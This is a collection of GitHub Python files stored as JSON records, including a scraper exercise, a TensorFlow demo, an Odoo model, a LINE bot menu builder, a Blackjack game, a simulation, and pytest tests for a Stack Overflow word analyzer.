+{"seq_id":"22736117909","text":"import urllib.request, urllib.parse, urllib.error\r\nfrom urllib.request import urlopen #open urls\r\nfrom bs4 import BeautifulSoup #import beautifulsoup which parses HTML\r\nimport ssl #used for ignoring certification errors\r\n\r\n\r\n# Ignore SSL certificate errors\r\nctx = ssl.create_default_context()\r\nctx.check_hostname = False\r\nctx.verify_mode = ssl.CERT_NONE\r\n\r\nurl = input('Enter URL: ')\r\ncount = int(input('Enter Count: ')) #how many repeats\r\npos = int(input('Enter Position: ')) #position of link\r\n\r\n# made a defintion which parses the html\r\ndef parsehtml(url, pos) :\r\n    html = urlopen(url, context=ctx).read()\r\n    soup = BeautifulSoup(html, \"html.parser\")\r\n    #finds 'anchor' tags, i.e links\r\n    tags = soup('a')\r\n    i = 0\r\n    #returns tag if tag position matches indicated position\r\n    for tag in tags :\r\n        #following every link it reads it will add 1\r\n        i = i + 1\r\n        if i == pos :\r\n            #returns either the tag, or nothing.\r\n            return tag.get('href', None)\r\n\r\ncurrentnum = 0\r\n#keeps looping until reaches the number of times you asked it to repeat\r\nwhile currentnum  <= count :\r\n    print ('Retrieving: ', url )\r\n    #runs the function to find the newest url on that page\r\n    url = parsehtml(url, pos)\r\n    currentnum += 1\r\n","repo_name":"HarDhillon/Python-4-Everybody","sub_path":"ass12.2.py","file_name":"ass12.2.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"42440203946","text":"### network를 학습하고 variables를 mat file로 저장하고 다시 불러와 load하는 코드 작성\r\nimport tensorflow as tf\r\nslim = tf.contrib.slim\r\nimport scipy.io as sio\r\nimport numpy as np\r\nimport re\r\n### network 생성\r\nimg = tf.placeholder(tf.float32, [None, 32, 32,3])\r\nconv = slim.conv2d(img,   8, kernel_size=[3,3], stride = 2, scope = 'conv0')\r\nconv = slim.conv2d(conv, 16, kernel_size=[3,3], stride = 2, scope = 'conv1')\r\nconv = slim.conv2d(conv, 32, kernel_size=[3,3], stride = 2, scope = 'conv2')\r\nfeat = tf.reduce_mean(conv,[1,2])\r\nfeat = slim.fully_connected(feat, 100, scope = 'fc', activation_fn = None)\r\n\r\n\r\n### network의 trainable variables 중 convolution의 parameter 저장\r\nvariables = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES)\r\nsess = tf.Session()\r\nsess.run(tf.global_variables_initializer())\r\n\r\nvar = {v.name[:-2] : sess.run(v)+1 \r\n       for v in variables \r\n       if len(re.findall('conv',v.name)) > 0}\r\n\r\nprint ([np.mean(sess.run(v)) for v in variables])\r\nsio.savemat('params.mat', var)\r\n\r\n### network의 trainable variables load 및 있는 것만 assign\r\nparams = sio.loadmat('params.mat')\r\nfor v in variables:\r\n    p = params.get(v.name[:-2])\r\n    if p is not(None):\r\n        sess.run(tf.assign(v, p.reshape(*v.get_shape().as_list())))\r\n\r\nvariables = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES)\r\nprint ([np.mean(sess.run(v)) for v in variables])\r\n\r\n\r\n","repo_name":"kibitzing/FluentPython","sub_path":"archive/To09-21/09-20/seunghyun_09-20.py","file_name":"seunghyun_09-20.py","file_ext":"py","file_size_in_byte":1409,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"51"}
+{"seq_id":"4070146165","text":"#-*- coding: utf-8 -*-\n\nfrom openerp.osv import orm, fields\nimport pdb\n\nclass AccountVoucher(orm.Model):\n\n    _inherit = 'account.voucher'\n    _description = 'Secuencia de Registros'\n\n    _columns = {\n        'name': fields.text('Memoria', required=True),\n        'voucher_number': fields.char('Number'),\n    }\n\n    def create(self, cr, uid, vals, context=None):\n\n        if not vals:\n            vals ={}\n        journal = vals.get('journal_id',False)\n\n        if journal:\n            ir_sequence = self.pool.get('account.journal').browse(cr, uid, journal).internal_sequence_id.code\n            seq = self.pool.get('ir.sequence').get(cr, uid, ir_sequence)\n            vals.update({\n                     'voucher_number': str(seq)\n                 })\n            return super(AccountVoucher, self).create(cr, uid, vals, context)\n\nAccountVoucher()\n","repo_name":"OpenBusinessSolutions/odoo-fondeur","sub_path":"odoo-rd/l10n_do_check_printing/models/account_voucher.py","file_name":"account_voucher.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"73477237918","text":"import requests\nimport json\nimport sys\nimport os\nfrom PIL import Image,ImageDraw\nfrom linebot import (\n    LineBotApi, WebhookHandler\n)\nfrom tkinter import filedialog\nimport configparser\nimport math\n\n\n\n\n\n#製作圖片\ndef MakeBlankPic():\n    RichMenu = Image.new( \"RGB\", (2500,Height))\n    draw = ImageDraw.Draw(RichMenu) \n    draw.rectangle([(0,0),(2500,Height)], fill=\"#865fbf\")#整張塗紫\n    return RichMenu\n\n\n#貼Icon\ndef PasteIcons(RichMenu,ClickState):    \n    for m in range(0,IconLayer):        \n        for i in range(0,3):\n            oldPartName = IconNameList[m][i]\n            if ClickState == \"Clicked\" and ClickedIcon != oldPartName:#Clicked時要把其他的換CantClick才可\n                PartName = \"CantClick\" + \"_\" + oldPartName\n            else:\n                PartName = ClickState + \"_\" + oldPartName\n            Part = Image.open(\"C:/LineBot/製作RichMenu相關/\" + PartName)\n            if ClickState == \"UnClick\":#Unclick 要凸出來\n                RichMenu.paste(Part,(30 + 815*i,30 + 788*m))#788是原寬(843) 減掉 一個空隙寬(55)，才會維持空隙相同\n            else:\n                RichMenu.paste(Part,(55 + 815*i,55 + 788*m))\n    return RichMenu\n\n\n#設定RichMenu新名子 + 儲存圖片\ndef SetNewName_SaveRichMenu(RichMenu,ClickState):\n    newName = \"\"\n    if ClickState == \"UnClick\":\n        newName = name\n    elif ClickState == \"CantClick\":\n        newName = \"FinishTo\"+ name\n    else:#Clicked(需ClickedIcon全域變數)\n        newName = name + ClickedIcon.rstrip(\"png\").rstrip(\".\") + ClickState #名子都有.png，要去除\n    RichMenu.save(\"RM_%s.png\"%newName,quality=100)\n    return newName\n\n\n#輸入PostBack Data + 紀錄於config\ndef GetPostBackData(ClickState):\n    config.add_section(\"RM_%s\"%name)#要先家section才可\n    DataArea = []\n    for m in range(0,IconLayer):        \n        for i in range(0,3):\n            if ClickState == \"UnClick\":#要輸入PostBack，其他就不用了(但RichMenu不能沒有area，所以仍要加東西)\n                BackData = IconNameList[m][i].rstrip(\"png\").rstrip(\".\")#名子都有.png，要去除\n                DataArea.append({\n                                \"bounds\": {\"x\": 30 + 815*i, \"y\": 30 + 788*m, \"width\": 785, \"height\": 758},\n                                \"action\": {\"type\": \"postback\",\"data\":BackData}\n                                })\n                config.set(\"RM_%s\"%name, \"data%i\"%(i+m*3), BackData)#紀錄Data\n            else:\n                DataArea.append({\n                                \"bounds\": {\"x\": 55 + 815*i, \"y\": 55 + 788*m, \"width\": 785, \"height\": 758},\n                                \"action\": {\"type\": \"postback\",\"data\":\"0\"}#空的(data必須塞東西，所以放0)\n                                })\n                config.set(\"RM_%s\"%name, \"data%i\"%(i+m*3), \"0\")#紀錄Data\n    return DataArea\n\n\n#申請RichMenu + 記錄其Id + 設定RichMenu圖片 \ndef RegisterRichMneu():\n    body = {\n        \"size\": {\"width\": 2500, \"height\": Height},\n        \"selected\": \"true\",\n        \"name\": name,\n        \"chatBarText\": \"點我開關選單\",\n        \"areas\":DataArea\n      }\n    req = requests.request('POST', 'https://api.line.me/v2/bot/richmenu', \n                           headers=headers,data=json.dumps(body).encode('utf-8'))\n    print(\"richMenuId : \" + req.text)\n    Id = req.text[15:].rstrip(\"\\\"}\")#get RichMenu Id\n    config.set(\"RM_%s\"%name, \"Id\", Id)#紀錄Id\n    with open(\"RM_%s.png\"%name, 'rb') as f:#打開之前做好的RichMenu圖\n        line_bot_api.set_rich_menu_image(Id, \"image/png\", f)#設定圖片\n    \n\n\n    \n    \n\n#準備記錄檔\nconfig = configparser.ConfigParser()\nconfig.read('C:/LineBot/config.ini',encoding=\"utf-8\")#要用在上一層的config\n\n\n#準備LineBot資料\nchannel_access_token = config.get('line-bot','channel_access_token')\nline_bot_api = LineBotApi(channel_access_token)#放channel_access_token\nheaders = {\"Authorization\":\"Bearer %s\"%channel_access_token,\"Content-Type\":\"application/json\"}\n\n\n#要大的還是小的RichMenu(改變高度與層數)\nBigOrSmall = input(\"Big(B) or Small(S)?\")\nif (BigOrSmall ==  \"B\" ) or (BigOrSmall == \"b\"): \n    Height = 1631 #1631 = 843*2 - 55\n    IconLayer = 2\nelse:#小的\n    Height = 843\n    IconLayer = 1\n\n\n#Get所有Icon名子 + RichMenu名子\nprint(\"選要的CantClick的Icon\")\nIconNameList = [[0 for _ in range(3)] for _ in range(IconLayer)]\nfor m in range(IconLayer):        \n    for i in range(0,3):\n        file_path = filedialog.askopenfilename()#get file path\n        Parts = Image.open(file_path)\n        PartsName = Parts.filename.lstrip(\"C:/LineBot/製作RichMenu相關/CantClick\")#get Icon名字\n        PartsName = PartsName.lstrip(\"_\")#lstrip是從左邊數來，只要有在指定字串中有出線的字元，就會被刪掉，刪到沒出現1次為止，所以不這樣寫了話會有誤刪情形\n        IconNameList[m][i] = PartsName\n        print(PartsName)\noriginalName = input(\"Name?\")\n\n    \nCheck = False\nfor i in range(0,3*IconLayer + 2):\n    name = originalName#name會被做很多改變，要每次重置\n    #分別要做什麼RichMenu\n    if i == 0:\n        ClickState = \"UnClick\"\n    elif i == 1:\n        ClickState = \"CantClick\"\n    else:\n        ClickState = \"Clicked\"#因ClickedState有做於找Icon圖片，不可編號\n        ClickedIcon = IconNameList[math.floor((i-2)/3)][(i-2)%3]#找到Icon名子(i的+2要扣回來)\n        \n    #做UnClickRM\n    RichMenu = MakeBlankPic()#製作空白圖片\n    RichMenu = PasteIcons(RichMenu, ClickState)\n    \n    #確認一下排列是否正確\n    if Check == False:      \n        RichMenu.show()\n        isOK = input(\"OK(Y/N)?\")\n        if (isOK ==  \"N\" ) or (isOK == \"n\"):\n            sys.exit()#結束程式\n        Check = True\n    \n    #做完UnClickRM圖片\n    name = SetNewName_SaveRichMenu(RichMenu, ClickState)\n    \n    #弄出PostBack Data + 紀錄於config \n    DataArea = GetPostBackData(ClickState)\n    \n    #申請RichMenu + 記錄其Id + 設定RichMenu圖片 \n    RegisterRichMneu()\n        \n    print(\"fin save and Make %i/%i\"%(i+1,3*IconLayer + 2))\n\n\n#總儲存config\nconfig.write(open(\"C:/LineBot/config.ini\", \"w\"))#要用在上一層的config","repo_name":"JerryJay10/LineBot-for-classroom","sub_path":"製作RichMenu相關/製作RichMenu.py","file_name":"製作RichMenu.py","file_ext":"py","file_size_in_byte":6168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"14561657220","text":"\"\"\" Compute the statistics of the training and testing data of socket \"\"\"\nimport os\nimport h5py\n\n\ndata_path = 'data/socket'\nbbox_path = os.path.join(data_path, 'seg_band_bbox')\ntrain_split_file = os.path.join(data_path, 'train.txt')\ntest_split_file = os.path.join(data_path, 'test.txt')\ndata_h5_f = h5py.File(os.path.join(data_path, 'seg_band.h5'), 'r')\n\ndef main():\n    count_bbox()\n    count_test_slices()\n\n# check how many slices in the training set have bbox\n# for socket data\n\ndef count_bbox():\n    total_slice = 0\n    total_bbox = 0\n    with open(train_split_file, 'r') as txtfile:\n        for line in txtfile:\n            bbox_file = os.path.join(bbox_path, line.strip()+'_bbox.txt')\n            with open(bbox_file, 'r') as slicef:\n                for img in slicef:\n                    total_slice += 1\n                    if img.strip().split(',')[1] == '1':\n                        total_bbox += 1\n    print(\"Training:\")\n    print(\"total number of slices: {} \".format(total_slice))\n    print(\"total number of bbox: {} \".format(total_bbox))\n\n# Check how many slices in the testing set\ndef count_test_slices():\n    total_slice = 0\n    with open(test_split_file, 'r') as txtfile:\n        for line in txtfile:\n            vol = data_h5_f[line.strip()]\n            total_slice += vol.shape[-1]\n\n    print(\"Testing:\")\n    print(\"total number of slices: {} \".format(total_slice))\n\n\nmain()\n","repo_name":"vincentzhang/roi-fcn","sub_path":"tools/check_num_bbox_socket.py","file_name":"check_num_bbox_socket.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"51"}
+{"seq_id":"71405126879","text":"\"\"\"\nSection 9 Challenge - Blackjack\nAdd a new button to the program with the text new game now the button should call a function that clears the cards\nfrom the screen it resets the players and dealers hands and then starts a new game now the easiest way to clear\nthe contents of a frame is to destroy the frame and create a new one with the same name and in fact that's why\nthe program has a player_card_frame and dealer_card_frame inside the card frame itself so that's it go away\nand create a new button with the text new game and again the functionality clear the cards from the screen\nreset the player and dealers hands and then start a new game.\n\"\"\"\nimport random\n\ntry:\n    import tkinter\nexcept ImportError:  # python 2\n    import Tkinter as tkinter\n\n\ndef load_images(card_images):\n    suits = ['heart', 'club', 'diamond', 'spade']\n    face_cards = ['jack', 'queen', 'king']\n\n    if tkinter.TkVersion >= 8.6:\n        extension = 'png'\n    else:\n        extension = 'ppm'\n\n    # For each suit, retrieve the image for the cards\n    for suit in suits:\n        # First the number cards 1 to 10\n        for card in range(1, 11):\n            name = 'cards/{}_{}.{}'.format(str(card), suit, extension)\n            image = tkinter.PhotoImage(file=name)\n            card_images.append((card, image,))\n\n        # Next the face cards\n        for card in face_cards:\n            name = 'cards/{}_{}.{}'.format(str(card), suit, extension)\n            image = tkinter.PhotoImage(file=name)\n            card_images.append((10, image,))\n\n\ndef deal_card(frame):\n    # Pop the next card of the top of the deck\n    next_card = deck.pop(0)\n    # And add it to back of the pack\n    deck.append(next_card)\n    # Add the image to the Label and display the label\n    tkinter.Label(frame, image=next_card[1], relief='raised').pack(side='left')\n    # Now return the card's face value\n    return next_card\n\n\ndef score_hand(hand):\n    # Calculate the total score of all cards in the list.\n    # Only one ace can have value 11, and this will be reduce to 1 if the hand would bust.\n    score = 0\n    ace = False\n    for next_hand in hand:\n        card_value = next_hand[0]\n        if card_value == 1 and not ace:\n            ace = True\n            card_value = 11\n        score += card_value\n        # If we would bust, check if there is an ace and subtract 10\n        if score > 21 and ace:\n            score -= 10\n            ace = False\n    return score\n\n\ndef deal_dealer():\n    dealer_score = score_hand(dealer_hand)\n    while 0 < dealer_score < 17:\n        dealer_hand.append(deal_card(dealer_card_frame))\n        dealer_score = score_hand(dealer_hand)\n        dealer_score_label.set(dealer_score)\n\n    player_score = score_hand(player_hand)\n    if player_score > 21:\n        result_text.set(\"Dealer Wins!\")\n    elif dealer_score > 21 or dealer_score < player_score:\n        result_text.set(\"Player Wins!\")\n    elif dealer_score > player_score:\n        result_text.set(\"Dealer Wins!\")\n    else:\n        result_text.set(\"Draw!\")\n\n\ndef deal_player():\n    player_hand.append(deal_card(player_card_frame))\n    player_score = score_hand(player_hand)\n\n    player_score_label.set(player_score)\n    if player_score > 21:\n        result_text.set(\"Dealer Wins!\")\n\n\ndef new_game():\n    global dealer_card_frame\n    global player_card_frame\n    global dealer_hand\n    global player_hand\n\n    dealer_card_frame.destroy()\n    dealer_card_frame = tkinter.Frame(card_frame, background='green')\n    dealer_card_frame.grid(row=0, column=1, sticky=\"ew\", rowspan=2)\n\n    player_card_frame.destroy()\n    player_card_frame = tkinter.Frame(card_frame, background=\"green\")\n    player_card_frame.grid(row=2, column=1, sticky='ew', rowspan=2)\n    result_text.set(\"\")\n\n    # Create the list to store the dealer's and player's hands\n    dealer_hand = []\n    player_hand = []\n\n    deal_player()\n    dealer_hand.append(deal_card(dealer_card_frame))\n    dealer_score_label.set(score_hand(dealer_hand))\n    deal_player()\n\n\ndef shuffle():\n    random.shuffle(deck)\n\n\nmainWindow = tkinter.Tk()\n\n# Set up the screen and frames for the dealer and player\nmainWindow.title(\"Black Jack\")\nmainWindow.geometry(\"640x480\")\nmainWindow.configure(background='green')\n\nresult_text = tkinter.StringVar()\nresult = tkinter.Label(mainWindow, textvariable=result_text)\nresult.grid(row=0, column=0, columnspan=3)\n\ncard_frame = tkinter.Frame(mainWindow, relief=\"sunken\", borderwidth=1, background=\"green\")\ncard_frame.grid(row=1, column=0, sticky='ew', columnspan=3, rowspan=2)\n\ndealer_score_label = tkinter.IntVar()\ntkinter.Label(card_frame, text=\"Dealer\", background=\"green\", fg='white').grid(row=0, column=0)\ntkinter.Label(card_frame, textvariable=dealer_score_label, background=\"green\", fg=\"white\").grid(row=1, column=0)\n\n# Embedded frame to hold the card images\ndealer_card_frame = tkinter.Frame(card_frame, background=\"green\")\ndealer_card_frame.grid(row=0, column=1, sticky=\"ew\", rowspan=2)\n\nplayer_score_label = tkinter.IntVar()\n\ntkinter.Label(card_frame, text=\"Player\", background=\"green\", fg=\"white\").grid(row=2, column=0)\ntkinter.Label(card_frame, textvariable=player_score_label, background=\"green\", fg=\"white\").grid(row=3, column=0)\n\n# Embedded frame to hold the card images\nplayer_card_frame = tkinter.Frame(card_frame, background=\"green\")\nplayer_card_frame.grid(row=2, column=1, sticky='ew', rowspan=2)\n\nbutton_frame = tkinter.Frame(mainWindow)\nbutton_frame.grid(row=3, column=0, columnspan=3, sticky='w')\n\ndealer_button = tkinter.Button(button_frame, text=\"Dealer\", command=deal_dealer)\ndealer_button.grid(row=0, column=0)\n\nplayer_button = tkinter.Button(button_frame, text=\"Player\", command=deal_player)\nplayer_button.grid(row=0, column=1)\n\nnew_game_button = tkinter.Button(button_frame, text=\"New Game\", command=new_game)\nnew_game_button.grid(row=0, column=2)\n\nshuffle_button = tkinter.Button(button_frame, text=\"Shuffle\", command=shuffle)\nshuffle_button.grid(row=0, column=3)\n\n# Load cards\ncards = []\nload_images(cards)\nprint(cards)\n\n# Create a three new deck of cards and shuffle them\ndeck = list(cards) + list(cards) + list(cards)\nshuffle()\n\n# Create the list to store the dealer's and player's hands\ndealer_hand = []\nplayer_hand = []\n\nnew_game()\n\nmainWindow.mainloop()\n","repo_name":"elvarlax/python-masterclass","sub_path":"Section 09/Blackjack Challenge/blackjack_challenge.py","file_name":"blackjack_challenge.py","file_ext":"py","file_size_in_byte":6215,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"51"}
+{"seq_id":"23428758020","text":"from FatTree import DataCenter\nfrom ServiceChain import DummyGenChains\nimport config as cfg\n\n\nif __name__ == \"__main__\":\n    data_center = DataCenter(6)\n    chains = DummyGenChains()\n    \n    # list of queue of event of chain arrival and finishes\n    event_list = [  {'arrive':[], 'finish':[], 'queue':[]} for idx in range(cfg.SIMU_TIME)]\n    \n    for chain in chains:\n        t_idx = chain.arrive_time\n        event_list[t_idx]['arrive'].append(chain)\n        \n    \n    # Start simulation\n    for t_idx in range(cfg.SIMU_TIME-1):\n        # 1. handle finished chain\n        for chain in (event_list[t_idx]['finish']):\n            data_center.removeChain(chain)\n            \n        # 2. handle queued chain\n        for chain in (event_list[t_idx]['queue']):\n            is_success = data_center.assignChain(chain)\n            \n            if is_success:\n                # Insert finish event\n                chain.finish_time = chain.serviceTime + t_idx\n                event_list[chain.finish_time]['finish'].append(chain)\n            else:\n                # Record waiting, and queue to next time (at the first of the queue)\n                chain.waitingTime += 1\n                event_list[t_idx+1]['queue'].insert(0, chain)\n        \n        # 3. handle arrival chain\n        for chain in (event_list[t_idx]['arrive']):\n            is_success = data_center.assignChain(chain)\n            \n            if is_success:\n                # Insert finish event\n                chain.finish_time = chain.serviceTime + t_idx\n                event_list[chain.finish_time]['finish'].append(chain)\n            else:\n                # Record waiting, and queue to next time (at the first of the queue)\n                chain.waitingTime += 1\n                event_list[t_idx+1]['queue'].insert(0, chain)\n    \n    # Results\n    waiting_list = [chain.waitingTime for chain in chains if chain.finish_time != None]\n    print(\"Average waiting time is \", len(waiting_list), sum(waiting_list)/len(waiting_list))","repo_name":"IChihWang/ServiceChain-L","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"31363698546","text":"# import logging\n# from argparse import Namespace\nfrom textwrap import dedent\n\nimport pytest\n# from unittest.mock import patch, call, Mock\nfrom analyze_stackoverflow import StackoverflowAnalyzer, setup_logging\n\n\ndef test_stop_words_correctness(small_stop_words, get_loggers):\n    analyzer = StackoverflowAnalyzer(\"\", small_stop_words, *get_loggers)\n    assert analyzer.stop_words == ['is', 'than']\n\n\ndef test_stop_words_correctness_with_empty_line(tmpdir, get_loggers):\n    another_stop_words_file = tmpdir.join(\"dataset.txt\")\n    another_stop_words_file.write(\n        dedent(\"\"\"\n        is\n        \\n\n        than\n        \\n\n        a\n            \"\"\")\n    )\n    analyzer = StackoverflowAnalyzer(\"\", another_stop_words_file, *get_loggers)\n    assert set(analyzer.stop_words) == {'a', 'is', 'than'}\n\n\ndef test_stop_words_correctness_empty_file(tmpdir, get_loggers):\n    stop_words_file = tmpdir.join(\"dataset.txt\")\n    stop_words_file.write(\n        dedent(\"\"\"\n        \\n\n        \\n\n            \"\"\")\n    )\n    analyzer = StackoverflowAnalyzer(\"\", stop_words_file, *get_loggers)\n    assert analyzer.stop_words == []\n\n\ndef test_stop_words_encoding(tmpdir, get_loggers):\n    stop_words_file_2 = tmpdir.join(\"dataset.txt\", encoding=\"koi8-r\")\n    stop_words_file_2.write(\n        dedent(\"\"\"\n            \\n\n            is\n            \\n\n            the\n            at\n            a\n            but\n                \"\"\")\n    )\n    analyzer = StackoverflowAnalyzer(\"\", stop_words_file_2, *get_loggers)\n    assert analyzer.stop_words == [\"is\", 'the', 'at', 'a', 'but']\n\n\ndef test_posts_parse_correctness(small_posts, small_stop_words, get_loggers):\n    analyzer = StackoverflowAnalyzer(small_posts, small_stop_words, *get_loggers)\n    posts_dict = analyzer.year_to_words_map\n\n    assert len(posts_dict) == 2\n    assert posts_dict.get('2025') is not None\n    assert len(posts_dict['2025']) == 6\n    assert posts_dict.get('2026') is not None\n    assert len(posts_dict['2026']) == 3\n\n    assert posts_dict.get('2010') is None\n    assert posts_dict.get('20') is None\n    assert posts_dict.get('2018') is None\n\n\ndef test_posts_words_score_correctness(small_posts, small_stop_words, get_loggers):\n    analyzer = StackoverflowAnalyzer(small_posts, small_stop_words, *get_loggers)\n    posts_dict = analyzer.year_to_words_map\n\n    assert posts_dict['2025']['seo'] == 15\n    assert posts_dict['2025']['better'] == 10\n    assert posts_dict['2025']['done'] == 10\n    assert posts_dict['2025']['with'] == 10\n    assert posts_dict['2025']['repetition'] == 10\n    assert posts_dict['2025']['what'] == 5\n\n    assert posts_dict['2026']['better'] == 20\n    assert posts_dict['2026']['python'] == 20\n    assert posts_dict['2026']['javascript'] == 20\n\n\n@pytest.fixture\ndef small_stop_words(tmpdir):\n    stop_words_file = tmpdir.join(\"stop_words.txt\")\n    stop_words_file.write(\n        dedent(\"\"\"\n            is\n            than\n                \"\"\")\n    )\n    return stop_words_file\n\n\n@pytest.fixture\ndef small_posts(tmpdir):\n    stackoverflow_posts_file = tmpdir.join(\"sample.xml\")\n    stackoverflow_posts_file.write(\n        \"\"\"<row Id=\"1\" PostTypeId=\"1\"  CreationDate=\"2025-11-15T20:09:58.970\" Score=\"10\" ViewCount=\"100\" Body=\"I would like to declare a variable 'XMLOutput'\" OwnerUserId=\"508703\" LastEditorUserId=\"13302\" LastEditDate=\"2010-11-15T20:43:01.363\" LastActivityDate=\"2013-10-18T07:48:48.510\" Title=\"Is SEO better better better done with repetition?\" FavoriteCount=\"2\" />\n        <row Id=\"2\" PostTypeId=\"1\"  CreationDate=\"2025-11-15T20:09:58.970\" Score=\"5\" ViewCount=\"105\" Body=\" declare \" OwnerUserId=\"508703\" LastEditorUserId=\"13302\" LastEditDate=\"2010-11-15T20:43:01.363\" LastActivityDate=\"2013-10-18T07:48:48.510\" Title=\"What is SEO?\"  FavoriteCount=\"2\" />\n        <row Id=\"3\" PostTypeId=\"1\" CreationDate=\"2026-11-15T20:09:58.970\" Score=\"20\" ViewCount=\"13\" Body=\"variable 'XMLOutput'\" OwnerUserId=\"508703\" LastEditorUserId=\"13302\" LastEditDate=\"2010-11-15T20:43:01.363\" LastActivityDate=\"2013-10-18T07:48:48.510\" Title=\"Is Python better than Javascript?\" FavoriteCount=\"2\" />\"\"\"\n    )\n    return stackoverflow_posts_file\n\n\n@pytest.fixture\ndef small_query_file(tmpdir):\n    file = tmpdir.join(\"queries.txt\")\n    file.write(\"2025,2025,2\\n2025,2026,4\")\n    return file\n\n\n@pytest.fixture\ndef dublicate_posts(tmpdir):\n    stackoverflow_posts_file = tmpdir.join(\"sample.xml\")\n    stackoverflow_posts_file.write(\n        \"\"\"<row Id=\"1\" PostTypeId=\"1\"  CreationDate=\"2020-11-15T20:09:58.970\" Score=\"7\"  Title=\"Data data data Data, data?\" FavoriteCount=\"2\" />\n        <row Id=\"2\" PostTypeId=\"1\"  CreationDate=\"2021-11-15T20:09:58.970\" Score=\"5\"    Title=\"What is your data?\"  FavoriteCount=\"2\" />\n        <row Id=\"3\" PostTypeId=\"1\" CreationDate=\"2022-11-15T20:09:58.970\" Score=\"8\" Title=\"Is Python better than Data Sicence?\" FavoriteCount=\"2\" />\n        <row Id=\"4\" PostTypeId=\"1\"  CreationDate=\"2023-11-15T20:09:58.970\" Score=\"5\"    Title=\"is data?\"  FavoriteCount=\"2\" />\n        <row Id=\"5\" PostTypeId=\"1\"  CreationDate=\"2023-11-15T20:09:58.970\" Score=\"4\"    Title=\"is office?\"  FavoriteCount=\"2\" />\n        <row Id=\"6\" PostTypeId=\"1\"  CreationDate=\"2023-11-15T20:09:58.970\" Score=\"3\"    Title=\"is SQL?\"  FavoriteCount=\"2\" />\n        <row Id=\"7\" PostTypeId=\"1\"  CreationDate=\"2023-11-15T20:09:58.970\" Score=\"1\"    Title=\"is Java?\"  FavoriteCount=\"2\" />\n        <row Id=\"8\" PostTypeId=\"1\"  CreationDate=\"2024-11-15T20:09:58.970\" Score=\"5\"    Title=\"Java?\"  FavoriteCount=\"2\" />\n        <row Id=\"9\" PostTypeId=\"1\"  CreationDate=\"2024-11-15T20:09:58.970\" Score=\"4\"    Title=\"SQL?\"  FavoriteCount=\"2\" />\n        <row Id=\"10\" PostTypeId=\"1\"  CreationDate=\"2025-11-15T20:09:58.970\" Score=\"1\"    Title=\"JAVA!!\"  FavoriteCount=\"2\" />\"\"\"\n    )\n    return stackoverflow_posts_file\n\n\n@pytest.fixture\ndef get_loggers(tmpdir):\n    return setup_logging()\n\n\ndef test_query_correctness(dublicate_posts, small_stop_words, get_loggers):\n    analyzer = StackoverflowAnalyzer(dublicate_posts, small_stop_words, *get_loggers)\n    json_result = analyzer.process_query(2020, 2022, 4)\n    assert json_result['top'][0][0] == 'data'\n    assert json_result['top'][0][1] == 20\n\n\ndef test_query_subtop_to_top(dublicate_posts, small_stop_words, get_loggers):\n    analyzer = StackoverflowAnalyzer(dublicate_posts, small_stop_words, *get_loggers)\n    json_result = analyzer.process_query(2023, 2024, 2)\n    assert json_result['top'][0][0] == 'sql'\n    assert json_result['top'][0][1] == 7\n    assert json_result['top'][1][0] == 'java'\n    assert json_result['top'][1][1] == 6\n\n\ndef test_query_sorted(dublicate_posts, small_stop_words, get_loggers):\n    analyzer = StackoverflowAnalyzer(dublicate_posts, small_stop_words, *get_loggers)\n    json_result = analyzer.process_query(2023, 2025, 1)\n    assert json_result['top'][0][0] == 'java'\n    assert json_result['top'][0][1] == 7\n\n\ndef test_query_small_dataset(small_posts, small_stop_words, get_loggers):\n    analyzer = StackoverflowAnalyzer(small_posts, small_stop_words, *get_loggers)\n    json_result = analyzer.process_query(2025, 2025, 2)\n    assert json_result['top'][0][0] == 'seo'\n    assert json_result['top'][0][1] == 15\n    assert json_result['top'][1][0] == 'better'\n    assert json_result['top'][1][1] == 10\n\n    json_result = analyzer.process_query(2025, 2026, 4)\n    assert json_result['top'][0][0] == 'better'\n    assert json_result['top'][0][1] == 30\n    assert json_result['top'][1][0] == 'javascript'\n    assert json_result['top'][1][1] == 20\n    assert json_result['top'][2][0] == 'python'\n    assert json_result['top'][2][1] == 20\n    assert json_result['top'][3][0] == 'seo'\n    assert json_result['top'][3][1] == 15\n\n\ndef test_no_exeption_in_constructor(get_loggers):\n    try:\n        StackoverflowAnalyzer(\"\", \"\", *get_loggers)\n    except:\n        pytest.fail(\"Unexpected Error ..\")\n\n\ndef test_no_exeption_in_parse_posts_file(get_loggers):\n    try:\n        analyzer = StackoverflowAnalyzer(\"\", \"\", *get_loggers)\n        analyzer.parse_posts_file(\"somepath\")\n    except:\n        pytest.fail(\"Unexpected Error ..\")\n\n\ndef test_load_stop_words(small_stop_words, get_loggers):\n    analyzer = StackoverflowAnalyzer(\"\", \"\", *get_loggers)\n    analyzer.load_stop_words(small_stop_words)\n    assert len(analyzer.stop_words) == 2\n\n\ndef test_logger(caplog, small_posts, small_stop_words, small_query_file, get_loggers):\n    analyzer = StackoverflowAnalyzer(small_posts, small_stop_words, *get_loggers)\n    analyzer.process_queries(small_query_file)\n    caplog.set_level(\"DEBUG\")\n\n    assert \"got query\" in caplog.text\n    assert \"got query \\\"2025,2025,2\\\"\" in caplog.text\n    assert \"got query \\\"2025,2025,2\\\"\" in caplog.text\n    assert 'process XML dataset' in caplog.text\n    assert 'ready to serve queries' in caplog.text\n    assert 'finish processing queries' in caplog.text\n    assert 'process XML dataset' in caplog.text\n\n\ndef test_output(capsys, small_posts, small_stop_words, small_query_file, get_loggers):\n    analyzer = StackoverflowAnalyzer(small_posts, small_stop_words, *get_loggers)\n    analyzer.process_queries(small_query_file)\n\n    captured = capsys.readouterr()\n    assert '\"top\": [[\"better\", 30], [\"javascript\", 20], [\"python\", 20], [\"seo\", 15]]' in captured.out\n    assert '\"start\": 2025, \"end\": 2025, 